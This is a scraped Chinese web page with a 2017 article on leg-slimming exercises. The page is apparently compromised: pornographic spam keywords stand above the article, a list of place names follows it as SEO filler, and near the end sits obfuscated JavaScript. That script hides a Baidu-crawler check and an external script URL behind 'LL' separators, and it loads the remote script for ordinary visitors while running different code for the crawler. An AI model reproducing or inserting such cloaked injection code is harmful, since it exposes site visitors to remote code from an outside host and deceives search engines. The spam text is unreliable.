亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 減肥 > 運動減肥 > 正文

減肥瘦腿操有什么

2017-06-11 20:15:52  來源:360常識網(wǎng)   熱度:
導(dǎo)語:人們現(xiàn)在特別的重視身材,因為有一個好的身材,迷人的身材,才能獲得更多的回頭率,也可以增加自己的信心。所以就是現(xiàn)在那么多的人都在減肥

人們現(xiàn)在特別的重視身材,因為有一個好的身材,迷人的身材,才能獲得更多的回頭率,也可以增加自己的信心。所以就是現(xiàn)在那么多的人都在減肥,很多的減肥的方法,那么根據(jù)自己的情況不同選擇不一樣的減肥方式,下面我們主要來講的就是關(guān)于減肥瘦腿操的一些動作。

瘦腿方法:

立正站好,抬起任何一腳,朝內(nèi)側(cè)交叉,輕壓住大腿內(nèi)側(cè)面; 維持10秒鐘,再換另一腿; 注意:重心放在身體正中央 ,如果不易保持平衡的話,可將身體輕靠在墻壁或柱子上。

一分鐘的瘦腿操

有什么辦法能快點讓我們的雙腿瘦瘦的,讓別人羨慕得恨恨的呢?我們來試試這個一分鐘的瘦腿操吧。

瘦整個大腿

以立正的姿勢站著、兩手放在身體兩側(cè)。彎曲膝蓋,

兩手碰觸腳趾(此時,不要太用力)。訣竅在于,不彎曲背部肌肉,只彎曲膝蓋。再輕輕回到原來的姿勢。這個動作大約為3秒,剛開始做的時候,以1O秒鐘做3次為目標(biāo),習(xí)慣后再加速吧。

瘦大腿內(nèi)側(cè)

從立正的姿勢開始,將右腳向前跨一步,輕彎膝蓋。兩手插在腰上。跳起的同時左右腳互換(此時注意背部要挺直)。邊數(shù)一二邊跳起來兩腳互換。剛開始做的時候以10秒鐘做10次為目標(biāo)習(xí)慣后再加快速度。

瘦大腿外側(cè)

以立正的姿勢站著。右腳伸直向右抬起,同時左手伸直向左抬起。此時,注意身體的平衡。訣竅在于腿部要使勁。輕輕回到原來的姿勢。另外一側(cè)同樣做一遍、這個動作大約為2秒。剛開始做的時候,以10秒鐘做5次為目標(biāo),習(xí)慣后多加快速度。

上面我們就講述了減肥瘦腿操的一些動作要領(lǐng)和一些方法,希望對想進(jìn)行瘦腿的人群有所幫助吧,也希望我們除了跳瘦身操以外,還要平時的飲食規(guī)律,不要暴飲暴食的,這樣的攝入很多的脂肪會導(dǎo)致肥胖更加的嚴(yán)重,所以一定要體力和飲食想結(jié)合才能有好的身材哦。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
方山县| 莱州市| 南雄市| 闸北区| 桃江县| 高州市| 宜宾县| 九寨沟县| 新安县| 阳朔县| 武宁县| 灵川县| 岳普湖县| 林芝县| 望城县| 抚松县| 涟源市| 萨嘎县| 隆安县| 缙云县| 宁海县| 股票| 陕西省| 马关县| 班戈县| 鲁甸县| 马龙县| 中西区| 金山区| 伊通| 延川县| 繁昌县| 印江| 聂荣县| 永宁县| 汉源县| 崇仁县| 克东县| 阳泉市| 琼海市| 临泽县|